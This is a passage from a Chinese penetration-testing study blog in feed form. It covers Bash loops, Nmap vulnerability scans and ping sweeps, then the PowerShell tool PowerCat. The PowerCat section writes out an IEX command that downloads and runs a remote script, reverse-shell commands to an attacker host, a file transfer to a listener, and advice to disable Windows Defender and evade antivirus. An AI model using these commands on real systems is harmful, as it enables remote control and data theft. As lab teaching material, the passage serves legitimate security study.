class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed &lt;span class="s1"&gt;&amp;#39;s/exploits/raw/&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; wget -q --no-check-certificate &lt;span class="nv"&gt;$url&lt;/span&gt; -O &lt;span class="nv"&gt;$exp_name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516152318445" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516152318445.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;file &lt;span class="m"&gt;17133&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat &lt;span class="m"&gt;17133&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516152453236" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516152453236.png"&gt;&lt;/p&gt;
&lt;h2 id="实操练习3-nmap扫描"&gt;实操练习3-Nmap扫描
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p- -T4 -iL nmaphost.txt --min-rate &lt;span class="m"&gt;1000&lt;/span&gt; --open
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -A -p80 --open 10.11.1.0/24 -oG nmap-scan_10.11.1.1-254
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat nmap-scan_10.11.1.1-254 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;Nmap&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;cat nmap-scan_10.11.1.1-254 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;Nmap&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;cat nmap-scan_10.11.1.1-254 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v &lt;span class="s2"&gt;&amp;#34;Nmap&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; cutycapt --url&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt; --out&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;.png&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="课后练习"&gt;课后练习
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Research Bash loops and write a short script to perform a ping sweep of your target IP range of 10.11.1.0/24.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Try to do the above exercise with a higher-level scripting language such as Python, Perl, or Ruby.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use the practical examples in this module to help you create a Bash script that extracts JavaScript files from the access_log.txt file (&lt;a class="link" href="http://www.offensive-security.com/pwkfiles/access_log.txt.gz%29" target="_blank" rel="noopener"
 &gt;http://www.offensive-security.com/pwkfiles/access_log.txt.gz)&lt;/a&gt;. Make sure the file names DO NOT include the path, are unique, and are sorted.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Re-write the previous exercise in another language such as Python, Perl, or Ruby.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;研究 Bash 循环，编写一个简短的脚本，对目标 IP 范围 &lt;code&gt;10.11.1.0/24&lt;/code&gt; 执行 Ping 扫描。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;尝试用 Python 等高级语言实现上述功能。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用本模块的实例，编写一个 Bash 脚本从 &lt;code&gt;access_log.txt&lt;/code&gt; 中提取 JavaScript 文件名，要求文件名不包含路径、唯一且排序。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;用 Python 等语言重写上述提取 JavaScript 文件名的功能。&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="1-bash-脚本ping-扫描"&gt;&lt;strong&gt;1. Bash 脚本：Ping 扫描 &lt;code&gt;10.11.1.0/24&lt;/code&gt; 网段&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;这里为了能有输出，改为&lt;code&gt;172.168.169.0/24&lt;/code&gt;网段，时我本地虚拟机的内网&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/bin/bash
# 遍历 1-254，发送 Ping 请求并输出存活主机
for ip in {1..254}; do
 target=&amp;#34;172.168.169.$ip&amp;#34;
 # -c 1: 发送 1 个包，-W 1: 超时 1 秒
 ping -c 1 -W 1 $target &amp;gt; /dev/null 2&amp;gt;&amp;amp;1
 if [ $? -eq 0 ]; then
 echo &amp;#34;$target is up&amp;#34;
 fi
done
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250516161343955" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161343955.png"&gt;&lt;/p&gt;
&lt;h4 id="2-python-脚本ping-扫描"&gt;&lt;strong&gt;2. Python 脚本：Ping 扫描 &lt;code&gt;10.11.1.0/24&lt;/code&gt; 网段&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;import os
import subprocess
from concurrent.futures import ThreadPoolExecutor

def ping_host(ip):
 target = f&amp;#34;172.168.169.{ip}&amp;#34;
 # 调用系统 Ping 命令（Windows 需将 &amp;#39;-c 1&amp;#39; 改为 &amp;#39;-n 1&amp;#39;）
 result = subprocess.run([&amp;#39;ping&amp;#39;, &amp;#39;-c&amp;#39;, &amp;#39;1&amp;#39;, &amp;#39;-W&amp;#39;, &amp;#39;1&amp;#39;, target], 
 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 if result.returncode == 0:
 print(f&amp;#34;{target} is up&amp;#34;)

# 使用多线程加速扫描（1-254）
with ThreadPoolExecutor(max_workers=50) as executor:
 executor.map(ping_host, range(1, 255))
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250516161722235" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161722235.png"&gt;&lt;/p&gt;
&lt;h4 id="3-bash-脚本从"&gt;&lt;strong&gt;3. Bash 脚本：从 &lt;code&gt;access_log.txt&lt;/code&gt; 提取唯一 JS 文件名&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;wget --secure-protocol=TLSv1_2 https://www.offensive-security.com/pwk-files/access_log.txt.gz
gunzip access_log.txt.gz 


#!/bin/bash
# 提取所有 JS 文件，去重并排序
grep -oP &amp;#39;GET \K[^ ]+?\.js&amp;#39; access_log.txt | awk -F/ &amp;#39;{print $NF}&amp;#39; | sort -u
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;说明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;grep -oP 'GET \K[^ ]+?\.js'&lt;/code&gt;&lt;/strong&gt;:
匹配 &lt;code&gt;GET&lt;/code&gt; 请求中的 &lt;code&gt;.js&lt;/code&gt; 文件路径，&lt;code&gt;\K&lt;/code&gt; 丢弃 &lt;code&gt;GET &lt;/code&gt; 前缀。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;awk -F/ '{print $NF}'&lt;/code&gt;&lt;/strong&gt;:
以 &lt;code&gt;/&lt;/code&gt; 分割路径，输出最后一个字段（文件名）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sort -u&lt;/code&gt;&lt;/strong&gt;:
排序并去重。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250516161619646" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161619646.png"&gt;&lt;/p&gt;
&lt;h4 id="4-python-脚本提取唯一-js-文件名"&gt;&lt;strong&gt;4. Python 脚本：提取唯一 JS 文件名&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;import re
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;from collections import defaultdict
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;js_files&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; set&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 匹配 GET 请求中的 JS 文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; re.compile&lt;span class="o"&gt;(&lt;/span&gt;r&lt;span class="s1"&gt;&amp;#39;GET\s+([^ ]+?\.js)&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;with open&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;access_log.txt&amp;#39;&lt;/span&gt;, &lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; as f:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; line in f:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; pattern.search&lt;span class="o"&gt;(&lt;/span&gt;line&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; match:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; match.group&lt;span class="o"&gt;(&lt;/span&gt;1&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 提取文件名（忽略路径）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; path.split&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)[&lt;/span&gt;-1&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; js_files.add&lt;span class="o"&gt;(&lt;/span&gt;filename&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 排序并输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; filename in sorted&lt;span class="o"&gt;(&lt;/span&gt;js_files&lt;span class="o"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; print&lt;span class="o"&gt;(&lt;/span&gt;filename&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250516161703492" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250516161703492.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day12 Kali渗透工具Powercat和Wireshark、tcpdump</title><link>https://ruajingjing.top/post/day12-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powercat%E5%92%8Cwireshark/</link><pubDate>Thu, 15 May 2025 10:40:48 +0000</pubDate><guid>https://ruajingjing.top/post/day12-kali%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7powercat%E5%92%8Cwireshark/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day12 Kali渗透工具Powercat和Wireshark、tcpdump" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="powercat"&gt;PowerCat
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;​概述​&lt;/strong&gt;​&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;定义：基于 PowerShell 的 Netcat 变种，支持 TCP/UDP 通信、端口转发和反向 Shell。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优势：无需安装，可直接在内存中运行，规避杀毒软件检测（上一章的原版powershell不关WD直接用不了，实际环境中是很鸡肋的）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;渗透测试用途&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;反向 Shell：绕过防火墙建立远程控制通道。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;文件传输：在攻击者和目标间传输数据。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;端口扫描：探测开放端口和服务。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;代理跳板：通过目标主机访问内网资源。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;使用方法&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="步骤-1加载-powercat"&gt;步骤 1：加载 PowerCat
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# kali下载&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;apt&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;powercat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;#安装后文件位于，/usr/share/windows-resources/powercat,需要拷贝到windows中执行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Windows下载kali的文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;(new-object System.Net.WebClient).DownloadFile(&amp;#39;http://172.168.169.128:8000/powercat.ps1&amp;#39;,&amp;#39;C:\Users\Administrator\Downloads\powercat.ps1&amp;#39;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Windows远程加载（常用）,不加载用不了的&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;IEX &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;Net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WebClient&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="py"&gt;DownloadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;http://172.168.169.128:8000/powercat.ps1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514212503813" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/0711cda68ec32cb2e92460ee1e761601.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250514215328807" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/5c1d60856fb868efff443d84b8a9efe4.png"&gt;&lt;/p&gt;
&lt;h3 id="步骤-2常用操作"&gt;步骤 2：常用操作
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 监听端口并获取反向 Shell（攻击者端）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powercat&lt;/span&gt; &lt;span class="n"&gt;-l&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="mf"&gt;4444&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 目标机连接攻击者（反向 Shell）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powercat&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="n"&gt;attacker_ip&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="mf"&gt;4444&lt;/span&gt; &lt;span class="n"&gt;-e&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 端口转发（将本地 8080 转发到 10.0.0.1:80）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;powercat&lt;/span&gt; &lt;span class="n"&gt;-l&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="mf"&gt;8080&lt;/span&gt; &lt;span class="n"&gt;-r&lt;/span&gt; &lt;span class="n"&gt;tcp&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;10.0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250514220352241" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/294dbde8c4091fc6b0a7be800b92a886.png"&gt;&lt;/p&gt;
&lt;p&gt;记得关闭Windows Defender不然执行不成功。&lt;/p&gt;
&lt;h4 id="powercat-传输文件"&gt;powercat 传输文件
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali：nc -nvlp &lt;span class="m"&gt;8000&lt;/span&gt; &amp;gt; ahell.txt &lt;span class="c1"&gt;#接收端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;powercat -c 172.168.169.128 -p &lt;span class="m"&gt;8000&lt;/span&gt; -i hello.txt &lt;span class="c1"&gt;#发送端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;-c #客户端&lt;/p&gt;
&lt;p&gt;-p #目标端口&lt;/p&gt;
&lt;p&gt;-i #要传输的本地文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250514222139160" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://i-blog.csdnimg.cn/img_convert/24d63fd02c6d39f57c7fbabe28d5c1a8.png"&gt;&lt;/p&gt;
&lt;h4 id="反弹shell"&gt;反弹shell
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Kali：nc -nvlp &lt;span class="m"&gt;443&lt;/span&gt; &lt;span class="c1"&gt;#控制端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;powercat -c 172.168.169.128 -p &lt;span class="m"&gt;443&lt;/span&gt; -e cmd.exe &lt;span class="c1"&gt;#被控端&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="正向shell"&gt;正向shell
